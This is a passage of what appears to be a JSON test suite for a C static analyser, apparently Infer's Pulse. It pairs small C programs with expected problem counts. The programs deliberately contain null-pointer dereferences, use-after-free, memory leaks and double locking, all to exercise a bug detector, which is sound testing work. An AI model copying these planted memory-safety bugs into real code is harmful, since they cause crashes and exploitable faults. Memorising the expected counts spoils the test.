&& x == 10 && y == 1 && z == 1) {\n int* p = NULL;\n *p = 42;\n }\n}\n\nstruct s {\n int i;\n int j;\n};\n\nvoid FP_even_cannot_be_odd_fields_ok(struct s* x) {\n if (x->i + x->i == 5 || x->i + x->i + x->j + x->j == 5) {\n // issue is FP: arithmetic does not know 2x + 2y == 5 is impossible\n // when x and y are ints\n int* p = NULL;\n *p = 42;\n }\n}\n\nvoid float_div_bad() {\n float y = 5.0 / 2.0;\n if (y != 2.0) { // always true\n int* p = NULL;\n *p = 42;\n }\n}\n\nvoid float_comparison_bad(float f) {\n if (2 + f < 2.2) {\n int* p = NULL;\n *p = 42;\n }\n}\n\n// FN because x > y is translated as x >= y+1 by pulse, which is not\n// valid for floats\nvoid FN_call_float_comparison_bad() { float_comparison_latent(0.1); }\n" + }, + { + "testname": "interprocedural.c", + "testlanguage": "c", + "expected-problems": 48, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nvoid conditional_free(int x, int* y) {\n if (x > 5) {\n free(y);\n }\n}\n\nvoid conditional_free_then_use_latent(int x) {\n int* y = (int*)malloc(sizeof(int));\n conditional_free(x, y);\n if (y != NULL) {\n // arguably we should report here since the code is bad, but the current\n // heuristic classifies this as latent\n *y = 1;\n }\n // avoid memory leak\n if (x <= 5) {\n free(y);\n }\n}\n\nvoid call_conditional_free_then_use_bad() {\n conditional_free_then_use_latent(7);\n}\n\n// make sure this isn't classified as latent as callers have no control over the\n// value of x being tested in the body of the function\nvoid test_modified_value_then_error_bad(int* x) {\n *x = random();\n if (*x == 5) {\n int* p = NULL;\n *p = 42;\n }\n}\n\n// below is a test that the calling context appears in the correct order in the\n// trace\n\nvoid latent_dereference(int a, int* p) {\n if (a == 4) {\n *p = 42;\n }\n}\n\nvoid propagate_latent_1_latent(int a1) { latent_dereference(a1, NULL); }\n\nvoid propagate_latent_2_latent(int a2) { propagate_latent_1_latent(a2); }\n\nvoid propagate_latent_3_latent(int a3) { propagate_latent_2_latent(a3); }\n\nvoid make_latent_manifest() { propagate_latent_3_latent(4); }\n\nint* return_first(int* x, int a, int** out) {\n int* w = x;\n *out = w;\n return w;\n}\n\nint* return_null(int** out) {\n int* p = NULL;\n *out = p;\n return p;\n}\n\n// make sure the trace has all the details\nvoid follow_value_by_ref_bad() {\n int* y;\n return_null(&y);\n int* z;\n return_first(y, 12, &z);\n *z = 42;\n}\n\n// make sure the trace has all the details\nvoid follow_value_by_ret_bad() {\n int *dummy1, *dummy2;\n int* y = return_null(&dummy1);\n int* z = return_first(y, 12, &dummy2);\n *z = 42;\n}\n\nint* malloc_wrapper_1() {\n int* x;\n x = (int*)malloc(sizeof(int));\n return x;\n}\n\nint* malloc_wrapper_2(int b) {\n if (b) {\n return malloc_wrapper_1();\n }\n return NULL;\n}\n\nvoid free_wrapper(int* p, int b) {\n if (b) {\n free(p);\n }\n}\n\nvoid trace_correctly_through_wrappers_bad() {\n int* x = malloc_wrapper_2(1);\n // TODO: ideally we would trace that we didn't go into the free() branch of\n // the wrapper explicitly here to help understand the bug report\n free_wrapper(x, 0);\n}\n" + }, + { + "testname": "issues_abort_execution.c", + "testlanguage": "c", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nvoid uninit_continues_execution_bad() {\n int x;\n int y = x + 1;\n int* p = NULL;\n *p = 42;\n}\n\nvoid leak_bad() {\n int* p = malloc(sizeof(int));\n assert(p);\n}\n\nvoid memleak_continues_execution_bad() {\n leak_bad();\n int* p = NULL;\n *p = 42;\n}\n" + }, + { + "testname": "latent.c", + "testlanguage": "c", + "expected-problems": 37, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nvoid conditional_free2(int b, int* x) {\n if (b) {\n free(x);\n }\n}\n\nvoid latent_use_after_free(int b, int* x) {\n conditional_free2(b, x);\n *x = 42;\n if (!b) {\n // just to avoid memory leaks\n free(x);\n }\n}\n\nvoid manifest_use_after_free(int* x) { latent_use_after_free(1, x); }\n\nvoid deref_then_free_then_deref_bad(int* x) {\n *x = 42;\n free(x);\n *x = 42;\n}\n\nvoid create_branching(int b) {\n if (b) {\n }\n}\n\n// FN because it's flagged only as latent at the moment\nvoid FN_nonlatent_use_after_free_bad(int b, int* x) {\n // the branch is independent of the issue here, so we should report the issue\n // in this function\n create_branching(b);\n free(x);\n *x = 42;\n}\n\n// same as above but branch after freeing\nvoid FN_nonlatent_use_after_free_bad2(int b, int* x) {\n free(x);\n create_branching(b);\n *x = 42;\n}\n\n// all latent issues that reach main are manifest, so this should be called\n// \"main_bad\" but that would defeat the actual point :)\nint main(int argc, char** argv) {\n int* x = malloc(sizeof(int));\n if (x) {\n latent_use_after_free(argc, x);\n }\n}\n\n// *not* latent because callers have no way to influence &x inside of the\n// function\nvoid equal_to_stack_address_test_then_crash_bad(int x, int* y) {\n if (y == &x) {\n int* p = NULL;\n *p = 42;\n }\n}\n\nvoid crash_if_different_addresses(int* x, int* y) {\n *x = 42;\n *y = 52;\n if (x != y) {\n int* p = NULL;\n *p = 42;\n }\n}\n\nstruct node {\n int data;\n struct node* next;\n};\n\nvoid traverse_and_crash_if_equal_to_root(struct node* p) {\n struct node* old_p = p;\n while (p != NULL) {\n p = p->next;\n if (old_p == p) {\n int* crash = NULL;\n *crash = 42;\n }\n }\n}\n\nvoid crash_after_one_node_bad(struct node* q) {\n q->next = q;\n traverse_and_crash_if_equal_to_root(q);\n}\n\nvoid crash_after_two_nodes_bad(struct node* q) {\n q->next->next = q;\n traverse_and_crash_if_equal_to_root(q);\n}\n\nvoid FN_crash_after_six_nodes_bad(struct node* q) {\n q->next->next->next->next->next->next = q;\n traverse_and_crash_if_equal_to_root(q);\n}\n" + }, + { + "testname": "lists.c", + "testlanguage": "c", + "expected-problems": 11, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nstruct l2 {\n int b;\n struct l2* a;\n};\n\nint add2(struct l2* l) {\n int r = 0;\n for (; l; l = l->a) {\n r += l->b;\n }\n return r;\n}\n\nint call_add2_then_deref_null_bad() {\n int res = add2(NULL);\n if (res == 0) {\n int* p = NULL;\n *p = 42; // reachable\n }\n}\n\ntypedef struct node {\n struct node* next;\n} T;\n\nvoid delete_one(T* x) { free(x); }\n\nvoid delete_all(T* x) {\n T* temp;\n while (x != NULL) {\n temp = x;\n x = x->next;\n free(temp);\n }\n}\n\nint call_delete_one_ok() {\n T* root = malloc(sizeof(T));\n delete_one(root); // no memory leak should be reported here\n return 0;\n}\n\nint call_delete_all1_ok() {\n T* root = malloc(sizeof(T));\n delete_all(root); // no memory leak should be reported here\n return 0;\n}\n\nint call_delete_all2_ok() {\n T* root = malloc(sizeof(T));\n if (root != NULL) {\n root->next = malloc(sizeof(T));\n }\n delete_all(root); // no memory leak should be reported here\n return 0;\n}\n" + }, + { + "testname": "list_api.c", + "testlanguage": "c", + "expected-problems": 7, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\ntypedef struct list_elem_s {\n void* data;\n struct list_elem_s* next;\n} list_elem_t;\n\ntypedef struct list_s {\n list_elem_t* first;\n} list_t;\n\nlist_t* list_init() { return calloc(1, sizeof(list_t)); }\n\nvoid list_append(list_t* lst, list_elem_t* elem) {\n list_elem_t* iter;\n\n if (NULL == lst->first) {\n lst->first = elem;\n } else {\n iter = lst->first;\n while (NULL != iter->next) {\n iter = iter->next;\n }\n iter->next = elem;\n }\n}\n\nlist_elem_t* list_add(list_t* lst, void* data) {\n list_elem_t* entry;\n\n entry = calloc(1, sizeof(list_elem_t));\n if (NULL == entry) {\n return NULL;\n }\n entry->data = data;\n list_append(lst, entry);\n return (entry);\n}\n\nvoid list_elem_free(list_elem_t* ptr) {\n if (NULL == ptr) {\n return;\n }\n\n list_elem_free(ptr->next);\n free(ptr);\n}\n\nvoid list_free(list_t* ptr) {\n list_elem_free(ptr->first);\n free(ptr);\n}\n\nint list_build_and_free_ok() {\n int val_data = 21;\n\n list_t* list = list_init();\n if (NULL == list) {\n return 1;\n }\n if (NULL == list_add(list, &val_data)) {\n list_free(list);\n return 1;\n }\n list_free(list);\n return 0;\n}\n" + }, + { + "testname": "list_checks.c", + "testlanguage": "c", + "expected-problems": 6, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nstruct list {\n struct list* next;\n};\n\nvoid go_to_next(struct list* head) {\n if (head->next != NULL) {\n head = head->next;\n }\n}\n\nvoid null_ptr_deref_bad() { go_to_next(NULL); }\n\nvoid go_to_end_of_list(struct list* head) {\n while (head->next != NULL) {\n head = head->next;\n }\n}\n\nvoid null_ptr_deref2_bad() { go_to_end_of_list(NULL); }\n\nvoid check_next(struct list* head) {\n while (head->next != NULL) {\n whatever();\n }\n}\n\nvoid null_ptr_deref3_bad() { check_next(NULL); }\n" + }, + { + "testname": "memcpy.c", + "testlanguage": "c", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nstruct X {\n int f;\n};\n\ntypedef struct X X;\n\nvoid memcpy_ok() {\n X x;\n X* p = malloc(sizeof(X));\n if (p)\n memcpy(p, &x, sizeof(X));\n free(p);\n}\n\nvoid memcpy_to_null_bad() {\n X x;\n X* p = NULL;\n memcpy(p, &x, sizeof(X)); // crash\n}\n\nvoid memcpy_to_null_indirect_bad() {\n X x;\n X* r;\n X* p = NULL;\n r = p;\n memcpy(r, &x, sizeof(X)); // crash\n}\n\nvoid memcpy_from_null_bad() {\n X* src = NULL;\n X* p = malloc(sizeof(X));\n if (p) {\n memcpy(p, src, sizeof(X)); // crash\n free(p);\n }\n}\n" + }, + { + "testname": "memory_leak.c", + "testlanguage": "c", + "expected-problems": 164, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nvoid malloc_no_free_bad() { int* p = malloc(sizeof(p)); }\n\nint* malloc_returned_ok() {\n int* p = malloc(sizeof(p));\n return p;\n}\n\nvoid malloc_out_parameter_ok(int** x) { *x = (int*)malloc(sizeof(int)); }\n\nvoid malloc_out_parameter_local_mutation_ok(int** x) {\n *x = (int*)malloc(sizeof(int));\n x = NULL; // not visible from the outside\n}\n\nvoid malloc_out_parameter_local_mutation_bad(int** x) {\n *x = (int*)malloc(sizeof(int));\n *x = NULL;\n}\n\nvoid malloc_then_free_ok() {\n int* p = malloc(sizeof(p));\n if (p) {\n *p = 5;\n free(p);\n }\n}\n\nint* create_p() {\n int* p = malloc(sizeof(p));\n return p;\n}\n\nvoid malloc_interproc_no_free_bad() { int* p = create_p(); }\n\nvoid malloc_interproc_no_free_bad2() {\n int* p = malloc(sizeof(p));\n int z = 3;\n int y = 4;\n int* q = p;\n}\n\nvoid malloc_formal_leak_bad(int* x) { x = (int*)malloc(sizeof(int*)); }\n\nstatic void* (*const malloc_func)(size_t) = malloc;\nstatic void (*const free_func)(void*) = free;\n\nvoid* malloc_via_ptr(size_t size) {\n void* ret = NULL;\n\n if (size <= 0) {\n return NULL;\n }\n\n ret = malloc_func(size);\n return ret;\n}\n\nvoid free_via_ptr(void* x) { free_func(x); }\n\nvoid malloc_ptr_leak_bad() { int* p = (int*)malloc_via_ptr(sizeof(int)); }\n\nvoid malloc_ptr_no_check_leak_bad() {\n int* p = (int*)malloc_via_ptr(sizeof(int));\n *p = 42;\n}\n\nvoid malloc_ptr_free_ok() {\n int* p = (int*)malloc_via_ptr(sizeof(int));\n free(p);\n}\n\nvoid malloc_ptr_free_ptr_ok() {\n int* p = (int*)malloc_via_ptr(sizeof(int));\n free_via_ptr(p);\n}\n\nvoid alias_ptr_free_ok(int* out, int flag) {\n int* y;\n if (flag) {\n y = (int*)malloc(sizeof(int));\n } else {\n y = out;\n }\n if (y && y != out) {\n free(y);\n }\n}\n\nvoid report_leak_in_correct_line_bad(int* x) {\n x = (int*)malloc(sizeof(int));\n if (x != NULL) {\n return; // should report leak at this line\n }\n free(x);\n}\n\nvoid* realloc_wrapper(void* p, size_t size) { return realloc(p, size); }\n\nvoid realloc_free_ok() {\n int* p = (int*)malloc(sizeof(int));\n int* q = realloc_wrapper(p, sizeof(int));\n free(q);\n}\n\nvoid realloc_no_free_bad() {\n int* p = (int*)malloc(sizeof(int));\n int* q = realloc_wrapper(p, sizeof(int));\n}\n\nvoid realloc_no_check_bad() {\n int* p = (int*)malloc(sizeof(int));\n int* q = realloc_wrapper(p, sizeof(int));\n *q = 42;\n free(q);\n}\n\nvoid* my_malloc(size_t size);\nvoid* a_malloc(size_t size);\nvoid my_free(void* p);\nvoid* my_realloc(void* p, size_t size);\n\nvoid user_malloc_leak_bad() { int* x = (int*)a_malloc(sizeof(int)); }\n\nvoid test_config_options_1_ok() {\n int* p = (int*)malloc(sizeof(int));\n int* q = my_realloc(p, sizeof(int));\n my_free(q);\n}\n\nvoid test_config_options_2_ok() {\n int* p = (int*)my_malloc(sizeof(int));\n int* q = realloc(p, sizeof(int));\n my_free(q);\n}\n\nvoid test_config_options_no_free_bad() {\n int* p = (int*)my_malloc(sizeof(int));\n int* q = my_realloc(p, sizeof(int));\n}\n\nstruct ref_counted {\n size_t count;\n int data;\n};\n\n// the address of the malloc()'d pointer can be retrieved from the\n// return value using pointer arithmetic\nint* alloc_ref_counted_ok() {\n struct ref_counted* p =\n (struct ref_counted*)malloc(sizeof(struct ref_counted));\n if (p) {\n p->count = 1;\n return &(p->data);\n } else {\n return NULL;\n }\n}\n\n// returning the value of the field loses the address of p\nint alloc_ref_counted_bad() {\n struct ref_counted* p =\n (struct ref_counted*)malloc(sizeof(struct ref_counted));\n if (p) {\n p->count = 1;\n p->data = 42;\n return p->data;\n } else {\n return 0;\n }\n}\n\n// the address of the malloc()'d pointer can be retrieved from the\n// return value using pointer arithmetic\nvoid* alloc_ref_counted_arith_ok(size_t size) {\n int* p = (int*)malloc(size + sizeof(int));\n if (p) {\n // register count = 1 and point past the ref count\n *p++ = 1;\n }\n return p;\n}\n\nint return_malloc_deref_bad() {\n int* p = (int*)malloc(sizeof(int));\n if (p) {\n *p = 42;\n return *p;\n }\n return 10;\n}\n\ntypedef struct node_st {\n int* data;\n} NODE;\n\nvoid mutual_recursion_2(NODE* x);\n\nvoid mutual_recursion(NODE* x) { mutual_recursion_2(x); }\n\nvoid mutual_recursion_2(NODE* x) { mutual_recursion(x); }\n\nvoid interproc_mutual_recusion_leak(NODE* x) {\n int* d;\n if (x->data == NULL) {\n x->data = (int*)malloc(sizeof(int));\n }\n mutual_recursion(x);\n}\n\nvoid allocate_all_in_array(int* array[]) {\n for (int i = 0; i < 2; i++) {\n array[i] = malloc(sizeof(int));\n }\n}\n\nvoid free_all_in_array(int* array[]) {\n for (int i = 0; i < 2; i++) {\n free(array[i]);\n }\n}\n\nvoid alloc_then_free_all_in_array_ok() {\n int* array[2];\n allocate_all_in_array(array);\n free_all_in_array(array);\n}\n\nvoid allocate_42_in_array(int* array[]) { array[42] = malloc(sizeof(int)); }\n\nvoid free_42_in_array(int* array[]) { free(array[42]); }\n\nvoid alloc_then_free_42_in_array_ok() {\n int* array[64];\n allocate_42_in_array(array);\n free_42_in_array(array);\n}\n\nvoid allocate_in_array(int* array[], int i) { array[i] = malloc(sizeof(int)); }\n\nvoid free_in_array(int* array[], int i) { free(array[i]); }\n\nvoid alloc_then_free_fixed_index_ok() {\n int* array[64];\n allocate_in_array(array, 42);\n free_in_array(array, 42);\n}\n\nvoid alloc_then_free_parameter_array_ok(int* array[], int i) {\n allocate_in_array(array, i);\n free_in_array(array, i);\n}\n\nvoid alloc_then_free_at_index_ok(int i) {\n int* array[64];\n allocate_in_array(array, i);\n free_in_array(array, i);\n}\n" + }, + { + "testname": "memory_leak_more.c", + "testlanguage": "c", + "expected-problems": 34, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nvoid simple_leak_bad() {\n int* p;\n p = (int*)malloc(sizeof(int));\n}\n\nvoid FN_common_realloc_leak_bad() {\n int *p, *q;\n p = (int*)malloc(sizeof(int));\n q = (int*)realloc(p, sizeof(int) * 42);\n // if realloc fails, then p becomes unreachable\n if (q != NULL)\n free(q);\n}\n\nvoid FN_common_realloc_leak2_bad() {\n float *p, *q;\n p = (float*)malloc(sizeof(float));\n q = (float*)realloc(p, sizeof(float) * 42);\n // if realloc fails, then p becomes unreachable\n if (q != NULL)\n free(q);\n}\n\nint* allocate() {\n int* p = NULL;\n do {\n p = (int*)malloc(sizeof(int));\n } while (p == NULL);\n return p;\n}\n\nvoid leak_via_allocator_bad() {\n int* p;\n p = allocate();\n *p = 42;\n}\n\nvoid* return_memset_ok(size_t s) {\n char* str = malloc(sizeof(s));\n if (str) {\n return memset(str, 0, s);\n }\n}\n\nvoid conditional_last_instruction_bad() {\n int* p = malloc(sizeof(int));\n if (0) {\n free(p);\n }\n}\n\nint* compound_return_ok() {\n return ({\n int* p = malloc(sizeof(int));\n p;\n });\n}\n\nstruct payload {\n int count;\n int payload[];\n};\n\n#define COUNT 10\n\nvoid FN_malloc_sizeof_value_leak_bad() {\n struct payload* x;\n x = malloc(sizeof(*x) + COUNT * sizeof(x->payload[0]));\n if (x == NULL) {\n return 1;\n }\n x->count = COUNT;\n for (int i = 0; i < COUNT; i++) {\n x->payload[i] = i;\n }\n /* missing free(x) */\n}\n" + }, + { + "testname": "nullptr.c", + "testlanguage": "c", + "expected-problems": 110, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n#include \n\nint* malloc_no_check_bad() {\n int* p = (int*)malloc(sizeof(int));\n *p = 42;\n return p;\n}\n\nvoid malloc_assert_ok() {\n int* p = (int*)malloc(sizeof(int));\n assert(p);\n *p = 42;\n free(p);\n}\n\nvoid create_null_path_ok(int* p) {\n if (p) {\n *p = 32;\n }\n}\n\nvoid call_create_null_path_then_deref_unconditionally_ok(int* p) {\n create_null_path_ok(p);\n *p = 52;\n}\n\nvoid create_null_path2_bad_FN(int* p) {\n int* q = NULL;\n if (p) {\n *p = 32;\n }\n // arguably bogus to check p above but not here, but the above could\n // also be macro-generated code so both reporting and not reporting\n // are sort of justifiable\n *p = 52;\n}\n\n// combine several of the difficulties above\nvoid malloc_then_call_create_null_path_then_deref_unconditionally_bad_FN(\n int* p) {\n int* x = (int*)malloc(sizeof(int));\n if (p) {\n *p = 32;\n }\n create_null_path_ok(p);\n *p = 52;\n free(x);\n}\n\n// pulse should remember the value of vec[64] because it was just written to\nvoid nullptr_deref_young_bad(int* x) {\n int* vec[65] = {x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,\n x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,\n x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,\n x, x, x, x, x, x, x, x, x, x, x, x, x, NULL};\n int p = *vec[64];\n}\n\n// due to the recency model of memory accesses, vec[0] can get forgotten\n// by the time we have processed the last element of the\n// initialization so we don't report here\nvoid FN_nullptr_deref_old_bad(int* x) {\n int* vec[65] = {NULL, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,\n x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,\n x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,\n x, x, x, x, x, x, x, x, x, x, x, x, x, x};\n int p = *vec[0];\n}\n\nvoid malloc_free_ok() {\n int* p = (int*)malloc(sizeof(int));\n free(p);\n}\n\nvoid wrap_free(void* p) { free(p); }\n\nvoid interproc_free_ok() {\n int* p = (int*)malloc(sizeof(int));\n wrap_free(p);\n}\n\nnoreturn void no_return();\n\nvoid wrap_malloc(int** x) {\n *x = (int*)malloc(sizeof(int));\n if (!*x) {\n no_return();\n }\n}\n\nvoid call_no_return_good() {\n int* x = NULL;\n wrap_malloc(&x);\n *x = 5;\n free(x);\n}\n\nvoid bug_after_malloc_result_test_bad(int* x) {\n x = (int*)malloc(sizeof(int));\n if (x) {\n int* y = NULL;\n *y = 42;\n }\n}\n\nvoid bug_after_abduction_bad(int* x) {\n *x = 42;\n int* y = NULL;\n *y = 42;\n}\n\nvoid bug_with_allocation_bad(int* x) {\n x = (int*)malloc(sizeof(int));\n int* y = NULL;\n *y = 42;\n}\n\nvoid null_alias_bad(int* x) {\n int* y = NULL;\n x = (int*)malloc(sizeof(int*));\n *x = 42;\n}\n\nvoid dereference(int* p) { int i = *p; }\n\nvoid several_dereferences_ok(int* x, int* y, int* z) {\n int* p = x;\n *z = 52;\n dereference(y);\n *y = 42;\n *x = 32;\n *x = 777;\n *y = 888;\n *z = 999;\n}\n\nvoid report_correct_error_among_multiple_bad() {\n int* p = NULL;\n // the trace should complain about the first access inside the callee\n several_dereferences_ok(p, p, p);\n}\n\nint unknown(int x);\n\nvoid unknown_is_functional_ok() {\n int* p = NULL;\n if (unknown(10) != unknown(10)) {\n *p = 42;\n }\n}\n\nvoid unknown_with_different_values_bad() {\n int* p = NULL;\n if (unknown(32) != unknown(52)) {\n *p = 42;\n }\n}\n\nvoid unknown_conditional_dereference(int x, int* p) {\n if (unknown(x) == 999) {\n *p = 42;\n }\n}\n\nvoid unknown_from_parameters_latent(int x) {\n unknown_conditional_dereference(x, NULL);\n}\n\n// is pruned away without the model\nvoid random_non_functional_bad() {\n if (random() != random()) {\n int* p = NULL;\n *p = 42;\n }\n}\n\nvoid random_modelled_bad(int y) {\n int x = random();\n if (x == y) {\n int* p = NULL;\n *p = 42;\n }\n}\n\nvoid arithmetic_weakness_ok() {\n int x = random();\n int y = random();\n if (x < y && x > y) {\n int* p = NULL;\n *p = 42;\n }\n}\n\nint* unknown_int_pointer();\n\nvoid no_invalidation_compare_to_NULL_bad() {\n int* p = unknown_int_pointer();\n int x;\n int* q = &x;\n if (p == NULL) {\n q = p;\n }\n *q = 42;\n}\n\nvoid incr_deref(int* x, int* y) {\n (*x)++;\n (*y)++;\n}\n\nvoid call_incr_deref_with_alias_bad(void) {\n int x = 0;\n int* ptr = &x;\n incr_deref(ptr, ptr);\n if (x == 2) {\n ptr = NULL;\n }\n x = *ptr;\n}\n\nvoid call_incr_deref_with_alias_good(void) {\n int x = 0;\n int* ptr = &x;\n incr_deref(ptr, ptr);\n if (x != 2) {\n ptr = NULL;\n }\n x = *ptr;\n}\n" + }, + { + "testname": "nullptr_more.c", + "testlanguage": "c", + "expected-problems": 57, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nstruct Person {\n int age;\n int height;\n int weight;\n};\n\nint simple_null_pointer_bad() {\n struct Person* max = NULL;\n return max->age;\n}\n\nstruct Person* Person_create(int age, int height, int weight) {\n struct Person* who = NULL;\n return who;\n}\n\nint get_age(struct Person* who) { return who->age; }\n\nint null_pointer_interproc_bad() {\n struct Person* joe = Person_create(32, 64, 140);\n return get_age(joe);\n}\n\nint negation_in_conditional_ok() {\n int* x = NULL;\n if (!x)\n return 0;\n else\n return *x; // this never happens\n}\n\nstatic int* return_null() { return NULL; }\n\nvoid null_pointer_with_function_pointer_bad() {\n int* (*fp)();\n fp = return_null;\n int* x = fp();\n *x = 3;\n}\n\nvoid exit_if_null_ok(struct Person* htbl) {\n if (!htbl)\n exit(0);\n int x = htbl->age;\n}\n\nvoid FPuseafterfree_no_check_for_null_after_realloc_bad() {\n int* p;\n p = (int*)malloc(sizeof(int) * 5);\n if (p) {\n p[3] = 42;\n }\n int* q = (int*)realloc(p, sizeof(int) * 10);\n if (!q)\n free(p); // FP\n q[7] = 0; // NULL dereference\n free(q);\n}\n\nvoid assign(int* p, int n) { *p = n; }\n\nvoid potentially_null_pointer_passed_as_argument_bad() {\n int* p = NULL;\n p = (int*)malloc(sizeof(int));\n assign(p, 42); // NULL dereference\n free(p);\n}\n\nvoid null_passed_as_argument_bad() {\n assign(NULL, 42); // NULL dereference\n}\n\nvoid allocated_pointer_passed_as_argument_ok() {\n int* p = NULL;\n p = (int*)malloc(sizeof(int));\n if (p) {\n assign(p, 42);\n free(p);\n }\n}\n\nint* unsafe_allocate() {\n int* p = NULL;\n p = (int*)malloc(sizeof(int));\n return p;\n}\n\nint* safe_allocate() {\n int* p = NULL;\n while (!p) {\n p = (int*)malloc(sizeof(int));\n }\n return p;\n}\n\nvoid function_call_can_return_null_pointer_bad() {\n int* p = NULL;\n p = unsafe_allocate();\n assign(p, 42); // NULL dereference\n free(p);\n}\n\nvoid function_call_returns_allocated_pointer_ok() {\n int* p = NULL;\n p = safe_allocate();\n assign(p, 42);\n free(p);\n}\n\nvoid sizeof_expr_ok(void) {\n struct Person* p = malloc(sizeof *p);\n if (p) {\n p->age = 42;\n }\n free(p);\n}\n\nvoid __attribute__((noreturn)) will_not_return();\n\nvoid unreachable_null_ok() {\n int* p = NULL;\n if (p == NULL) {\n will_not_return();\n }\n *p = 42;\n}\n\nvoid no_ret() { will_not_return(); }\n\nvoid unreachable_null_no_return_ok() {\n int* p = NULL;\n if (p == NULL) {\n no_ret(); // inter-procedural call to no_return\n }\n *p = 42;\n}\n" + }, + { + "testname": "offsetof_expr.c", + "testlanguage": "c", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nstruct address {\n char v1[2];\n char v2[5];\n int v3;\n};\n\nint test_offsetof_expr_bad() {\n int i = offsetof(struct address, v2);\n if (i == 2) {\n int* p = NULL;\n *p = 42;\n }\n return 42;\n}\n\nint FN_test_offsetof_expr_nonlit_bad() {\n size_t sum = 0;\n for (int i = 0; i < 2; i++) {\n sum += offsetof(struct address, v1[i]);\n }\n if (sum == 1) {\n int* p = NULL;\n *p = 42;\n }\n return 42;\n}\n" + }, + { + "testname": "pthread_create.c", + "testlanguage": "c", + "expected-problems": 11, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nvoid dummy() {}\n\nvoid deref_pointer(int* x) { int y = *x; }\n\nint pthread_create_dummy_ok() {\n pthread_t thread;\n return pthread_create(&thread, NULL, dummy, NULL);\n}\n\nint FN_pthread_create_deref_bad() {\n pthread_t thread;\n return pthread_create(&thread, NULL, deref_pointer, NULL);\n}\n\nint pthread_create_deref_ok() {\n pthread_t thread;\n int x;\n return pthread_create(&thread, NULL, deref_pointer, &x);\n}\n\nextern void some_unknown_function(void);\n\nint pthread_unknown_ok() {\n pthread_t thread;\n return pthread_create(&thread, NULL, some_unknown_function, NULL);\n}\n" + }, + { + "testname": "pthread_mutex.c", + "testlanguage": "c", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nint normal_life_ok(pthread_mutex_t* m) {\n if (pthread_mutex_init(m, 0))\n return 0;\n if (pthread_mutex_lock(m))\n return 0;\n if (pthread_mutex_unlock(m))\n return 0;\n if (pthread_mutex_destroy(m))\n return 0;\n return 1;\n}\n\nint normal_ok2() {\n pthread_mutex_t m;\n normal_life_ok(&m);\n}\n\nvoid FN_double_lock_bad(pthread_mutex_t* m) {\n pthread_mutex_lock(m);\n pthread_mutex_lock(m);\n}\n\nvoid FN_double_lock_uninit_bad() {\n pthread_mutex_t m;\n FN_double_lock_bad(&m);\n}\n\nvoid double_lock_bad2() {\n pthread_mutex_t m;\n pthread_mutex_init(&m, 0);\n FN_double_lock_bad(&m);\n}\n\nvoid FN_double_unlock_bad(pthread_mutex_t* m) {\n pthread_mutex_unlock(m);\n pthread_mutex_unlock(m);\n}\n\nvoid FN_double_unlock_bad2() {\n pthread_mutex_t m;\n pthread_mutex_init(&m, 0);\n pthread_mutex_lock(&m);\n FN_double_unlock_bad(&m);\n}\n\nvoid FN_double_init_bad(pthread_mutex_t* m) {\n pthread_mutex_init(m, 0);\n pthread_mutex_init(m, 0);\n}\n\n// Already reported in double_init_bad\nvoid double_init_ok() {\n pthread_mutex_t m;\n double_init_bad(&m);\n}\n" + }, + { + "testname": "pthread_spinlock.c", + "testlanguage": "c", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\n#ifdef __APPLE__\n// Spinlocks do not exist on mac\ntypedef struct {\n int __whatever;\n} pthread_spinlock_t;\nextern int pthread_spin_init(pthread_spinlock_t* __lock, int __pshared);\nextern int pthread_spin_destroy(pthread_spinlock_t* __lock);\nextern int pthread_spin_lock(pthread_spinlock_t* __lock);\nextern int pthread_spin_trylock(pthread_spinlock_t* __lock);\nextern int pthread_spin_unlock(pthread_spinlock_t* 